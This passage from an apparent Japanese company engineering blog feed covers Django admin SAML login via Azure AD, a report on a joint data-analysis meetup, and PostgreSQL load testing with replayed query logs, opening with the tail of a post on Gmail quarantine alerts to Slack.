src="https://cdn-ak.f.st-hatena.com/images/fotolife/h/hikita/20230424/20230424104400.png" width="1200" height="579" loading="lazy" title="" class="hatena-fotolife" itemprop="image"></span></p> <h2 id="最後に">最後に</h2> <p>検疫機能便利ではあるのですが、指定<a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%C9%A5%E1%A5%A4%A5%F3">ドメイン</a>を検疫対象から外すといったことができません。<br/> そのため弊社で利用しているツールからの通知メールも入ってしまうことがあります。<br/> メールをあまり見ないので、Slackへ通知させることで検疫されたメールがあると気づけるので便利になったのではないでしょうか?<br/> GWSログをBigQueryにエクスポートすることで、ログをクエリで検索することができるようになるので色々と幅は広がりそうです。</p> hikita Azure ADを利用したDjango adminのSAML認証 hatenablog://entry/4207112889964179895 2023-02-20T10:50:42+09:00 2023-02-20T10:50:42+09:00 SREの菅原です。 カンムのサービスのバックエンドは基本的にGoで書かれているのですが、一部の内部向け管理画面はPythonのフレームワークDjangoで作成されています。 スタッフがDjango adminページにログインして各種オペレーションを行うのですが、adminページにログインするためにはDjango adminのアカウントが必要です。 社内で使う各種サービスのアカウントは基本的にはAzure Active Directoryを使ったSSOで一元管理されていますが、管理用WebアプリはSAML対応の実装をしておらず、前段のロードバランサー(ALB)でOIDC認証しているものの、adm… <p>SREの菅原です。</p> <p>カンムのサービスのバックエンドは基本的にGoで書かれているのですが、一部の内部向け管理画面は<a class="keyword" href="http://d.hatena.ne.jp/keyword/Python">Python</a>の<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%D5%A5%EC%A1%BC%A5%E0%A5%EF%A1%BC%A5%AF">フレームワーク</a><a class="keyword" href="http://d.hatena.ne.jp/keyword/Django">Django</a>で作成されています。</p> <p>スタッフが<a class="keyword" href="http://d.hatena.ne.jp/keyword/Django">Django</a> adminページにログインして各種オペレーションを行うのですが、adminページにログインするためには<a class="keyword" href="http://d.hatena.ne.jp/keyword/Django">Django</a> adminのアカウントが必要です。</p> <p>社内で使う各種サービスのアカウントは基本的にはAzure <a class="keyword" href="http://d.hatena.ne.jp/keyword/Active%20Directory">Active Directory</a>を使ったSSOで一元管理されていますが、管理用Webアプリは<a class="keyword" href="http://d.hatena.ne.jp/keyword/SAML">SAML</a>対応の実装をしておらず、前段の<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%ED%A1%BC%A5%C9%A5%D0%A5%E9%A5%F3%A5%B5%A1%BC">ロードバランサー</a>(ALB)でOIDC認証しているものの、adminページ自体のアカウントは管理用Webアプリで追加しなければいけない状態でした。</p> <center> <span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/w/winebarrel/20230218/20230218134853.png" width="449" height="272" loading="lazy" title="" class="hatena-fotolife" itemprop="image"></span> </center> <p>管理用Webアプリが独自にアカウント管理してしまうと、個別にアカウントを作成する手間が増え、Azure ADでの一元管理のメリットも薄れてしまいます。そこで管理用Webアプリで<a class="keyword" href="http://d.hatena.ne.jp/keyword/SAML">SAML</a>認証ができるように改修をすることにしました。</p> <h1 id="django-saml2-auth--djangosaml2"><a class="keyword" href="http://d.hatena.ne.jp/keyword/django">django</a>-saml2-auth → djangosaml2</h1> <p><a class="keyword" href="http://d.hatena.ne.jp/keyword/Django">Django</a>の<a class="keyword" href="http://d.hatena.ne.jp/keyword/SAML">SAML</a>対応にはいくつかライブラリが存在します。</p> <ul> <li><a href="https://github.com/grafana/django-saml2-auth">grafana/django-saml2-auth</a></li> <li><a href="https://pypi.org/project/djangosaml2/">djangosaml2</a></li> <li><a href="https://github.com/penn-state-dance-marathon/python3-saml-django">python3-saml-django</a></li> </ul> <p>最初はgrafana/<a class="keyword" href="http://d.hatena.ne.jp/keyword/django">django</a>-saml2-authを使って実装を進めていたのですが、動作確認を行ったところ以下のIssueの問題が発生しました</p> <p><iframe src="https://hatenablog-parts.com/embed?url=https%3A%2F%2Fgithub.com%2Fgrafana%2Fdjango-saml2-auth%2Fissues%2F25" title="Certificate and Key file · Issue #25 · grafana/django-saml2-auth" class="embed-card embed-webcard" scrolling="no" frameborder="0" style="display: block; width: 100%; height: 155px; max-width: 500px; margin: 10px 0px;" loading="lazy"></iframe><cite class="hatena-citation"><a href="https://github.com/grafana/django-saml2-auth/issues/25">github.com</a></cite></p> <p>問題の対応には<a class="keyword" href="http://d.hatena.ne.jp/keyword/django">django</a>-saml2-auth自体の改修が必要そうであり、アップストリームへの修正の反映には時間がかかりそうだったため、<a class="keyword" href="http://d.hatena.ne.jp/keyword/django">django</a>-saml2-authの利用は諦めIssueのコメントで触れられているdjangosaml2を使った実装に切り替えました。</p> <h1 id="djangosaml2を使った実装">djangosaml2を使った実装</h1> <p>djangosaml2の利用方法は<a href="https://djangosaml2.readthedocs.io/">ドキュメント</a>に詳しく書かれています。 <br> ※Azure AD側の設定については省略</p> <p>まずは必要なライブラリを追加。</p> <pre class="code" data-lang="" data-unlink># Dockerfile apt install libxmlsec1-dev pkg-config xmlsec1</pre> <pre class="code" data-lang="" data-unlink># requirements.txt djangosaml2==1.5.5</pre> <p>settings.pyは以下のように修正。</p> <pre class="code lang-python" data-lang="python" data-unlink>INSTALLED_APPS = [ <span class="synComment"># ...</span> <span class="synConstant">&quot;djangosaml2&quot;</span>, ] MIDDLEWARE = [ <span class="synComment"># ...</span> <span class="synConstant">'djangosaml2.middleware.SamlSessionMiddleware'</span>, ] AUTHENTICATION_BACKENDS = [ <span class="synConstant">&quot;django.contrib.auth.backends.ModelBackend&quot;</span>, <span class="synComment">#&quot;djangosaml2.backends.Saml2Backend&quot;,</span> <span class="synConstant">&quot;apps.auth.saml2.ModifiedSaml2Backend&quot;</span>, ] SESSION_COOKIE_SECURE = <span class="synIdentifier">True</span> LOGIN_URL = <span class="synConstant">&quot;/saml2/login/&quot;</span> LOGIN_REDIRECT_URL = <span class="synConstant">'/admin'</span> SESSION_EXPIRE_AT_BROWSER_CLOSE = <span class="synIdentifier">True</span> SAML_IGNORE_LOGOUT_ERRORS = <span class="synIdentifier">True</span> SAML_DJANGO_USER_MAIN_ATTRIBUTE = <span class="synConstant">&quot;username&quot;</span> SAML_CREATE_UNKNOWN_USER = <span class="synIdentifier">True</span> SAML_ATTRIBUTE_MAPPING = { <span class="synConstant">&quot;name&quot;</span>: (<span class="synConstant">&quot;username&quot;</span>,), <span class="synConstant">&quot;emailAddress&quot;</span>: (<span class="synConstant">&quot;email&quot;</span>,), <span class="synConstant">&quot;givenName&quot;</span>: (<span class="synConstant">&quot;first_name&quot;</span>,), <span class="synConstant">&quot;surname&quot;</span>: (<span class="synConstant">&quot;last_name&quot;</span>,), } SAML_METADATA_URL = <span class="synConstant">&quot;https://login.microsoftonline.com/...&quot;</span> SAML_CONFIG = { <span class="synConstant">&quot;entityid&quot;</span>: <span class="synConstant">&quot;https://my-admin.example.com/saml2/acs/&quot;</span>, <span class="synConstant">&quot;service&quot;</span>: { <span class="synConstant">&quot;sp&quot;</span>: { <span class="synConstant">&quot;endpoints&quot;</span>: { <span class="synConstant">&quot;assertion_consumer_service&quot;</span>: [ (<span class="synConstant">&quot;https://my-admin.example.com/saml2/acs/&quot;</span>, saml2.BINDING_HTTP_POST), ], <span class="synConstant">&quot;single_logout_service&quot;</span>: [ (<span class="synConstant">&quot;https://my-admin.example.com/saml2/ls/&quot;</span>, saml2.BINDING_HTTP_REDIRECT), (<span class="synConstant">&quot;https://my-admin.example.com/saml2/ls/post&quot;</span>, saml2.BINDING_HTTP_POST), ], }, <span class="synConstant">&quot;want_response_signed&quot;</span>: <span class="synIdentifier">False</span>, }, }, <span class="synConstant">&quot;metadata&quot;</span>: { <span class="synConstant">&quot;remote&quot;</span>: [ {<span class="synConstant">&quot;url&quot;</span>: SAML_METADATA_URL}, ], }, <span class="synComment"># &quot;debug&quot;: 1,</span> } </pre> <p>urls.pyには<code>/saml2/</code>のurlpatternsを追加。</p> <pre class="code lang-python" data-lang="python" data-unlink>urlpatterns = [ <span class="synComment"># ...</span> url(<span class="synConstant">r'^saml2/'</span>, include(<span class="synConstant">&quot;djangosaml2.urls&quot;</span>)), ] </pre> <h2 id="Saml2Backendの拡張">Saml2Backendの拡張</h2> <p><a class="keyword" href="http://d.hatena.ne.jp/keyword/SAML">SAML</a>の認証用のバックエンドSaml2Backendをそのまま使ってログインすると、何の権限もないユーザーが<a class="keyword" href="http://d.hatena.ne.jp/keyword/Django">Django</a>に作成されるので、Saml2Backendを拡張しとりあえず必要な権限を付与したグループに新しいユーザーを所属させるようにしました。</p> <pre class="code lang-python" data-lang="python" data-unlink><span class="synPreProc">from</span> djangosaml2.backends <span class="synPreProc">import</span> Saml2Backend <span class="synPreProc">from</span> django.contrib.auth.models <span class="synPreProc">import</span> Group <span class="synStatement">class</span> <span class="synIdentifier">ModifiedSaml2Backend</span>(Saml2Backend): <span class="synStatement">def</span> <span class="synIdentifier">save_user</span>(self, user, *args, **kwargs): user.save() user_group = Group.objects.get(name=<span class="synConstant">&quot;default&quot;</span>) user.groups.add(user_group) user.is_staff = <span class="synIdentifier">True</span> <span class="synStatement">return</span> <span class="synIdentifier">super</span>().save_user(user, *args, **kwargs) </pre> <p>以上の実装で <a href="https://my-admin.example.com/saml2/login">https://my-admin.example.com/saml2/login</a> から<a class="keyword" href="http://d.hatena.ne.jp/keyword/SAML">SAML</a>認証でログインできるようになります。</p> <center> <span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/w/winebarrel/20230218/20230218134914.png" width="399" height="271" loading="lazy" title="" class="hatena-fotolife" itemprop="image"></span> </center> <h1 id="ログイン画面の拡張">ログイン画面の拡張</h1> <p><a class="keyword" href="http://d.hatena.ne.jp/keyword/SAML">SAML</a>認証でログインできるようにはなったのですが、このままだと既存のログイン画面からの導線がなく、URLを直接入力してログインしてもらう必要があります。 そこで、既存のログイン画面を拡張して「<a class="keyword" href="http://d.hatena.ne.jp/keyword/SAML">SAML</a>ログイン」ボタンを追加しました。</p> <p><a href="https://github.com/django/django/blob/eafe1468d228e6f63d044f787a9ffec82ec22746/django/contrib/admin/templates/admin/login.html">Django adminのログインページ</a>をそのまま流用してテンプレートファイルを作成し、末尾に<code>/saml2/login</code>に遷移するボタンのHTMLを追加します。</p> <pre class="code lang-html" data-lang="html" data-unlink><span class="synComment">&lt;!-- </span> <span class="synComment"> Django adminのログインページと同じコード:</span> <span class="synComment"> https://github.com/django/django/blob/eafe1468d228e6f63d044f787a9ffec82ec22746/django/contrib/admin/templates/admin/login.html </span> <span class="synComment">--&gt;</span> <span class="synComment">&lt;!-- (略) --&gt;</span> <span class="synIdentifier">&lt;/</span><span class="synStatement">form</span><span class="synIdentifier">&gt;</span> <span class="synIdentifier">&lt;</span><span class="synStatement">div</span><span class="synIdentifier"> </span><span class="synType">class</span><span class="synIdentifier">=</span><span class="synConstant">&quot;submit-row&quot;</span><span class="synIdentifier">&gt;</span> <span class="synIdentifier">&lt;</span><span class="synStatement">input</span><span class="synIdentifier"> </span><span class="synType">type</span><span class="synIdentifier">=</span><span class="synConstant">&quot;submit&quot;</span><span class="synIdentifier"> </span><span class="synType">value</span><span class="synIdentifier">=</span><span class="synConstant">&quot;SAML {% translate 'Log in' %}&quot;</span><span class="synIdentifier"> </span><span class="synSpecial">onclick=&quot;</span><span class="synStatement">location</span><span class="synSpecial">.href=</span><span class="synConstant">'/saml2/login'</span><span class="synSpecial">&quot;</span><span class="synIdentifier">&gt;</span> <span class="synIdentifier">&lt;/</span><span class="synStatement">div</span><span class="synIdentifier">&gt;</span> <span class="synIdentifier">&lt;/</span><span class="synStatement">div</span><span class="synIdentifier">&gt;</span> {% endblock %} </pre> <p>urlpatternsを修正し既存のログイン画面を新しいログイン画面で上書きします。</p> <pre class="code lang-python" data-lang="python" data-unlink>urlpatterns = [ path( <span class="synConstant">'admin/login/'</span>, auth_views.LoginView.as_view( template_name=<span class="synConstant">'login.html'</span>, extra_context={ <span class="synConstant">'title'</span>: _(<span class="synConstant">'Log in'</span>), <span class="synConstant">'site_header'</span>: admin.site.site_header, }, ), name=<span class="synConstant">'login'</span>, ), <span class="synComment"># ...</span> ] </pre> <center> <span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/w/winebarrel/20230218/20230218132136.png" width="496" height="380" loading="lazy" title="" class="hatena-fotolife" itemprop="image"></span> </center> <p>若干無理矢理な実装ですが、既存のパスワードでのログイン方法からは移行しやすくなりました。</p> <h1 id="まとめ">まとめ</h1> <p><a class="keyword" href="http://d.hatena.ne.jp/keyword/Django">Django</a>の<a class="keyword" href="http://d.hatena.ne.jp/keyword/SAML">SAML</a>対応はなかなか情報がなく調査に苦労したのですが、現状は問題なく稼働しています。 ユーザーの属性ごとにグループや権限を分けるといった自動化はまだできていないのですが、それでもアカウント作成の手間は減らせました。</p> <p>社内で利用するサービスではまだいくつかAzure ADによるSSOに対応できていない箇所があるので、同様にSSOの対応を進めていきたいところです。</p> winebarrel 「MoT/コネヒト/Kanmu が語るプロダクト開発xデータ分析」を開催しました hatenablog://entry/4207112889958855173 2023-02-01T11:00:31+09:00 2023-02-01T11:00:31+09:00 カンムの @fkubota です。 2023/1/26に株式会社Mobility Technologiesさま、コネヒト株式会社さまと合同で「MoT/コネヒト/Kanmu が語るプロダクト開発xデータ分析」というイベントを開催しました。ご参加いただいたみなさま、ありがとうございました! kanmu.connpass.com このイベントでは、実プロダクトに機械学習モデルを用いて機能開発・改善を日々行っている3社の機械学習エンジニアが集まり、泥臭く改善を繰り返している現場の苦労や工夫、知見を共有しました。 セッションに登壇しました 弊社からは 僕(fkubota)が「データドリブンな組織の不正検… <p>カンムの <a href="https://twitter.com/fkubota_">@fkubota</a> です。</p> <p>2023/1/26に株式会社Mobility Technologiesさま、コネヒト株式会社さまと合同で「<a class="keyword" href="http://d.hatena.ne.jp/keyword/MoT">MoT</a>/コネヒト/Kanmu が語るプロダクト開発xデータ分析」というイベントを開催しました。ご参加いただいたみなさま、ありがとうございました!</p> <p><iframe src="https://hatenablog-parts.com/embed?url=https%3A%2F%2Fkanmu.connpass.com%2Fevent%2F270440%2F" title="MoT/コネヒト/Kanmu が語るプロダクト開発xデータ分析 (2023/01/26 19:00〜)" class="embed-card embed-webcard" scrolling="no" frameborder="0" style="display: block; width: 100%; height: 155px; max-width: 500px; margin: 10px 0px;" loading="lazy"></iframe><cite class="hatena-citation"><a href="https://kanmu.connpass.com/event/270440/">kanmu.connpass.com</a></cite></p> <p>このイベントでは、実プロダクトに<a class="keyword" href="http://d.hatena.ne.jp/keyword/%B5%A1%B3%A3%B3%D8%BD%AC">機械学習</a>モデルを用いて機能開発・改善を日々行っている3社の<a class="keyword" href="http://d.hatena.ne.jp/keyword/%B5%A1%B3%A3%B3%D8%BD%AC">機械学習</a>エンジニアが集まり、泥臭く改善を繰り返している現場の苦労や工夫、知見を共有しました。</p> <h3 id="セッションに登壇しました">セッションに登壇しました</h3> <p>弊社からは 僕(fkubota)が「データドリブンな組織の不正検知」というタイトルで登壇しました。</p> <p><iframe id="talk_frame_982477" class="speakerdeck-iframe" src="//speakerdeck.com/player/db49148bdda146e4bf882ea4ec969e6d" width="710" height="532" style="aspect-ratio:710/532; border:0; padding:0; margin:0; background:transparent;" frameborder="0" allowtransparency="true" allowfullscreen="allowfullscreen" mozallowfullscreen="true" webkitallowfullscreen="true"></iframe> <cite class="hatena-citation"><a href="https://speakerdeck.com/fkubota/detadoribunnazu-zhi-nobu-zheng-jian-zhi">speakerdeck.com</a></cite></p> <p>この登壇の一番のメッセージは「あらゆる問題に対して、チームで泥臭く戦っている」というものでした。<br/> タイトルにも記載したとおり、カンムの大半のメンバーが<a class="keyword" href="http://d.hatena.ne.jp/keyword/SQL">SQL</a>を習得している等データドリブンな組織文化があるため、プロダクトの課題にたいして泥臭く取り組みやすいという点が特徴です。 そのような環境からの後押しを受け、不正利用という緊急に対応したい問題にもそれなりに早い速度で動けているなと、資料を作りながら改めて思いました。<br/> <a class="keyword" href="http://d.hatena.ne.jp/keyword/Twitter">Twitter</a>で参加者のみなさんからの反応を見ても、社員のほとんどが<a class="keyword" href="http://d.hatena.ne.jp/keyword/SQL">SQL</a>を書けるという部分に反響をいただいており、これは弊社の強みだなと感じています。<br/> この強い文化に甘えず、また泥臭く結果を出していきたいものです。</p> <h3 id="パネルディスカッションを行いました">パネルディスカッションを行いました</h3> <p>パネルディスカッションではMobility Technologiesの <a href="https://twitter.com/kuto_bopro">@kuto_bopro</a> さん、コネヒトの <a href="https://twitter.com/asteriam_fp">@asteriam_fp</a> さんを交え、各社の取り組みや知見について語り合いました。 3社それぞれ泥臭い現場の苦難、本やブログにはなかなか載せられない話を聞け、とても刺激的でした。</p> <p>個人的には以下のような課題に対してどの会社も苦労してるんだなぁと思い、より良くするためにまた集まってディスカッションしたいと思っています。</p> <ul> <li>ML評価指標とビジネスの接続</li> <li>オフライン評価</li> <li>ドキュメント管理、<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%C0%A5%C3%A5%B7%A5%E5">ダッシュ</a>ボード管理(乱立しがち)</li> </ul> <p>▼asteriam_fpさんとkuto_boproさんの登壇資料はこちら</p> <p><iframe id="talk_frame_981957" class="speakerdeck-iframe" src="//speakerdeck.com/player/c811197258284a77b1754190e90df2c4" width="710" height="399" style="aspect-ratio:710/399; border:0; padding:0; margin:0; background:transparent;" frameborder="0" allowtransparency="true" allowfullscreen="allowfullscreen" mozallowfullscreen="true" webkitallowfullscreen="true"></iframe> <cite class="hatena-citation"><a href="https://speakerdeck.com/masatakashiwagi/kanmu-gayu-rupurodakutokai-fa-xdetafen-xi-fen-xi-karaji-jie-xue-xi-sisutemunokai-fa-made-ren-defu-shu-roruwodan-uda-bian-sa">speakerdeck.com</a></cite></p> <p><iframe id="talk_frame_982586" class="speakerdeck-iframe" src="//speakerdeck.com/player/02def09df18740c2b5d55252ac8a4da4" width="710" height="400" style="aspect-ratio:710/400; border:0; padding:0; margin:0; background:transparent;" frameborder="0" allowtransparency="true" allowfullscreen="allowfullscreen" mozallowfullscreen="true" webkitallowfullscreen="true"></iframe> <cite class="hatena-citation"><a href="https://speakerdeck.com/kuto5046/takusiyu-yue-wozhi-erumlmoderunoji-sok-de-gai-shan">speakerdeck.com</a></cite></p> <h3 id="最後に">最後に</h3> <p>実はこのイベント、飲み会から始まっています。 以前、データ分析・<a class="keyword" href="http://d.hatena.ne.jp/keyword/%B5%A1%B3%A3%B3%D8%BD%AC">機械学習</a>を用いてプロダクトの改善に取り組む共通の友人とオンライン飲み会を実施したのですが、これが大いに盛り上がり、その勢いで「オンラインイベントやっちまおうぜ」というノリでこのイベントを実施しました。</p> <p>あらためましてイベントにご参加いただいたみなさま、またご一緒させていただいたMobility Technologiesさま、コネヒトさま、本当にありがとうございました! 表には出しづらい泥臭い取り組みは聞いてて楽しいし、お互いに刺さる部分が多いので、また似たようなテーマでイベントをやりたいですね。</p> <p>そして、カンムでは<a class="keyword" href="http://d.hatena.ne.jp/keyword/%B5%A1%B3%A3%B3%D8%BD%AC">機械学習</a>エンジニアを大募集中です!今回のイベントをきっかけにカンムに少しでも興味を持った方は、ぜひカジュアル面談でお話しましょう。</p> <p>▼カジュアル面談申込みはこちらから</p> <p><iframe src="https://hatenablog-parts.com/embed?url=https%3A%2F%2Fteam.kanmu.co.jp%2F" title="カンムのチーム情報" class="embed-card embed-webcard" scrolling="no" frameborder="0" style="display: block; width: 100%; height: 155px; max-width: 500px; margin: 10px 0px;" loading="lazy"></iframe><cite class="hatena-citation"><a href="https://team.kanmu.co.jp/">team.kanmu.co.jp</a></cite></p> <p>▼イベントの見逃し配信はこちらから視聴できます!</p> <p><iframe src="https://hatenablog-parts.com/embed?url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DNR4U8r5S1Qo" title="MoT/コネヒト/Kanmu が語るプロダクト開発xデータ分析" class="embed-card embed-webcard" scrolling="no" frameborder="0" style="display: block; width: 100%; height: 155px; max-width: 500px; margin: 10px 0px;" loading="lazy"></iframe><cite class="hatena-citation"><a href="https://www.youtube.com/watch?v=NR4U8r5S1Qo">www.youtube.com</a></cite></p> kanmu-tech クエリログを使ったPostgreSQLの負荷テスト hatenablog://entry/4207112889942172896 2022-12-04T13:15:36+09:00 2022-12-10T00:23:10+09:00 SREの菅原です。 この記事はカンム Advent Calendar 2022の4日目の記事になります。 少し前にサービスで使っているPostgreSQLをRDSからAuroraに移行しました。 Auroraに移行するため色々と作業を行ったのですが、その中でAuroraの性能を測るために行った負荷テストについて書きます。 pgbench まず最初にpgbenchを使って、単純なワークロードでのRDSをAuroraの性能差を測ってみました。*1 以下がその結果です。 MySQLで同様のテストをmysqlslapを使って行ったことがあって、そのときは概ねAuroraのほうが性能が高かったので、同様… <p>SREの菅原です。 この記事は<a href="https://adventar.org/calendars/7789">カンム Advent Calendar 2022</a>の4日目の記事になります。</p> <p>少し前にサービスで使っている<a class="keyword" href="http://d.hatena.ne.jp/keyword/PostgreSQL">PostgreSQL</a>をRDSからAuroraに移行しました。 Auroraに移行するため色々と作業を行ったのですが、その中でAuroraの性能を測るために行った負荷テストについて書きます。</p> <h1 id="pgbench">pgbench</h1> <p>まず最初に<a href="https://www.postgresql.jp/document/14/html/pgbench.html">pgbench</a>を使って、単純なワークロードでのRDSをAuroraの性能差を測ってみました。<a href="#f-7f879745" name="fn-7f879745" title="https://so-wh.at/entry/2022/05/07/195035">*1</a> 以下がその結果です。</p> <p><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/w/winebarrel/20221204/20221204103419.png" width="600" height="371" loading="lazy" title="" class="hatena-fotolife" itemprop="image"></span></p> <p><a class="keyword" href="http://d.hatena.ne.jp/keyword/MySQL">MySQL</a>で同様のテストを<a href="https://dev.mysql.com/doc/refman/8.0/en/mysqlslap.html">mysqlslap</a>を使って行ったことがあって、そのときは概ねAuroraのほうが性能が高かったので、同様の結果になると考えていたのですが、RDSのほうが性能が高い結果になったのは予想外でした。</p> <p>ただAuroraの<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%A2%A1%BC%A5%AD%A5%C6%A5%AF%A5%C1%A5%E3">アーキテクチャ</a>を考えると、pgbenchのような細かすぎる<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%C8%A5%E9%A5%F3%A5%B6%A5%AF%A5%B7%A5%E7%A5%F3">トランザクション</a>の場合はRDSのほうが性能が高くなることもありそうなことです。</p> <p>とりあえず、RDSとAuroraの性能比較にpgbanchは参考にはならなさそうなので、別のやり方を考えることにしました。</p> <h1 id="qrn">qrn</h1> <p>過去に<a class="keyword" href="http://d.hatena.ne.jp/keyword/MySQL">MySQL</a>をAuroraに移行したときには<a href="https://github.com/winebarrel/qrn">qrn</a>というツールを作って負荷テストを行いました。 <a class="keyword" href="http://d.hatena.ne.jp/keyword/PostgreSQL">PostgreSQL</a>でも log_statement=all を設定することで <a class="keyword" href="http://d.hatena.ne.jp/keyword/postgresql">postgresql</a>.log にクエリログを出力することができます。 同様のやり方でサービスのワークロードを再現できそうなので、クエリログを使って負荷テストをすることにしました。</p> <h1 id="クエリログの採取">クエリログの採取</h1> <p>サービスのクエリログを常時出力すると膨大な量になってしまうので、時間を決めて log_statement=all を設定して、一定時間だけクエリログを有効にします。 また、クエリログを採取する前にRDSのスナップショットを作成し負荷テストの事前データとして利用できるようにしておきます。</p> <p>このときのログの出力先はCloudWatch LogsではなくRDSのファイルにしています。 RDSにはDownloadCompleteDBLogFileという、いつの間にか<a href="https://web.archive.org/web/20171212085731/http://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/RESTReference.html">ドキュメントがなくなってしまったAPI</a>があって、ログファイルをまるごとダウンロードすることができます。<a href="#f-c5cfb212" name="fn-c5cfb212" title="https://github.com/winebarrel/rds-download-log-file">*2</a></p> <h1 id="クエリログからテストデータへの変換">クエリログからテストデータへの変換</h1> <p>postgres.logは<a href="http://ndjson.org/">ndjson</a>ではないので、そのままではqrnのテストデータとして利用することができません。 そこで<a href="https://github.com/winebarrel/poslog">poslog</a>というツールを作って、postgres.logからndjsonに変換できるようにしました。</p> <pre class="code" data-lang="" data-unlink>$ cat postgresql.log 2022-05-30 04:59:41 UTC:10.0.3.147(57382):postgres@postgres:[12768]:LOG: statement: select now(); 2022-05-30 04:59:46 UTC:10.0.3.147(57382):postgres@postgres:[12768]:LOG: statement: begin; 2022-05-30 04:59:48 UTC:10.0.3.147(57382):postgres@postgres:[12768]:LOG: statement: insert into hello values (1); 2022-05-30 04:59:50 UTC:10.0.3.147(57382):postgres@postgres:[12768]:LOG: statement: commit; ... $ poslog postgresql.log &gt; data.jsonl $ cat data.jsonl {&#34;Timestamp&#34;:&#34;2022-05-30 04:59:41 UTC&#34;,&#34;Host&#34;:&#34;10.0.3.147&#34;,&#34;Port&#34;:&#34;57382&#34;,&#34;User&#34;:&#34;postgres&#34;,&#34;Database&#34;:&#34;postgres&#34;,&#34;Pid&#34;:&#34;[12768]&#34;,&#34;MessageType&#34;:&#34;LOG&#34;,&#34;Duration&#34;:&#34;&#34;,&#34;Statement&#34;:&#34; select now();&#34;} {&#34;Timestamp&#34;:&#34;2022-05-30 04:59:46 UTC&#34;,&#34;Host&#34;:&#34;10.0.3.147&#34;,&#34;Port&#34;:&#34;57382&#34;,&#34;User&#34;:&#34;postgres&#34;,&#34;Database&#34;:&#34;postgres&#34;,&#34;Pid&#34;:&#34;[12768]&#34;,&#34;MessageType&#34;:&#34;LOG&#34;,&#34;Duration&#34;:&#34;&#34;,&#34;Statement&#34;:&#34; begin;&#34;} {&#34;Timestamp&#34;:&#34;2022-05-30 04:59:48 UTC&#34;,&#34;Host&#34;:&#34;10.0.3.147&#34;,&#34;Port&#34;:&#34;57382&#34;,&#34;User&#34;:&#34;postgres&#34;,&#34;Database&#34;:&#34;postgres&#34;,&#34;Pid&#34;:&#34;[12768]&#34;,&#34;MessageType&#34;:&#34;LOG&#34;,&#34;Duration&#34;:&#34;&#34;,&#34;Statement&#34;:&#34; insert into hello values (1);&#34;} {&#34;Timestamp&#34;:&#34;2022-05-30 04:59:50 UTC&#34;,&#34;Host&#34;:&#34;10.0.3.147&#34;,&#34;Port&#34;:&#34;57382&#34;,&#34;User&#34;:&#34;postgres&#34;,&#34;Database&#34;:&#34;postgres&#34;,&#34;Pid&#34;:&#34;[12768]&#34;,&#34;MessageType&#34;:&#34;LOG&#34;,&#34;Duration&#34;:&#34;&#34;,&#34;Statement&#34;:&#34; commit;&#34;} ...</pre> <p>ndjsonだと<a href="https://stedolan.github.io/jq/">jq</a>でパースできるため、クエリの集計や分析がしやすくなるという副次的なメリットもありました。</p> <h1 id="トランザクションの再現"><a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%C8%A5%E9%A5%F3%A5%B6%A5%AF%A5%B7%A5%E7%A5%F3">トランザクション</a>の再現</h1> <p>pgbenchの結果を踏まえるとワークロードの<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%C8%A5%E9%A5%F3%A5%B6%A5%AF%A5%B7%A5%E7%A5%F3">トランザクション</a>も再現する必要があります。 しかし、qrnでワークロードの<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%C8%A5%E9%A5%F3%A5%B6%A5%AF%A5%B7%A5%E7%A5%F3">トランザクション</a>を完全に再現しようと思うと、クエリログをコネクションIDごとのデータに分解して、それらを別々のエージェントで実行する必要があります。</p> <p>テスト実施の手間がかなり増えてしまい、何回も試行するのた大変になってきます。そこでqrnに新しく-commit-rateというオプションを追加しました。</p> <p><iframe src="https://hatenablog-parts.com/embed?url=https%3A%2F%2Fgithub.com%2Fwinebarrel%2Fqrn%2Fpull%2F14%2Ffiles" title="Add `-commit-rate` option by winebarrel · Pull Request #14 · winebarrel/qrn" class="embed-card embed-webcard" scrolling="no" frameborder="0" style="display: block; width: 100%; height: 155px; max-width: 500px; margin: 10px 0px;" loading="lazy"></iframe><cite class="hatena-citation"><a href="https://github.com/winebarrel/qrn/pull/14/files">github.com</a></cite></p> <p>そして、どの程度の割合でcommitが実行されているかをクエリログから調べて、それを-commit-rateオプションに設定して、<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%C8%A5%E9%A5%F3%A5%B6%A5%AF%A5%B7%A5%E7%A5%F3">トランザクション</a>を実際のワークロードに似せることにしました。</p> <h1 id="負荷テストの実施">負荷テストの実施</h1> <p>負荷テストでは、スナップショットをリストアしたRDSとそこから作成したAuroraスレーブ(promote済み)を準備し、クライアントが<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%DC%A5%C8%A5%EB%A5%CD%A5%C3%A5%AF">ボトルネック</a>にならいように十分な性能を持ったEC2<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%A4%A5%F3%A5%B9%A5%BF%A5%F3%A5%B9">インスタンス</a>でqrnを走らせました。</p> <p><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/w/winebarrel/20221204/20221204114356.png" width="600" height="371" loading="lazy" title="" class="hatena-fotolife" itemprop="image"></span> <span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/w/winebarrel/20221204/20221204114334.png" width="600" height="371" loading="lazy" title="" class="hatena-fotolife" itemprop="image"></span></p> <p>詳細はぼかしていますが、サービスのワークロードではAuroraのほうが性能が高いという結果を得ることができました。</p> <h1 id="まとめ">まとめ</h1> <p><a class="keyword" href="http://d.hatena.ne.jp/keyword/PostgreSQL">PostgreSQL</a>の負荷テストの知見がなかったので、当初はどうしようかと考えていたのですが、<a class="keyword" 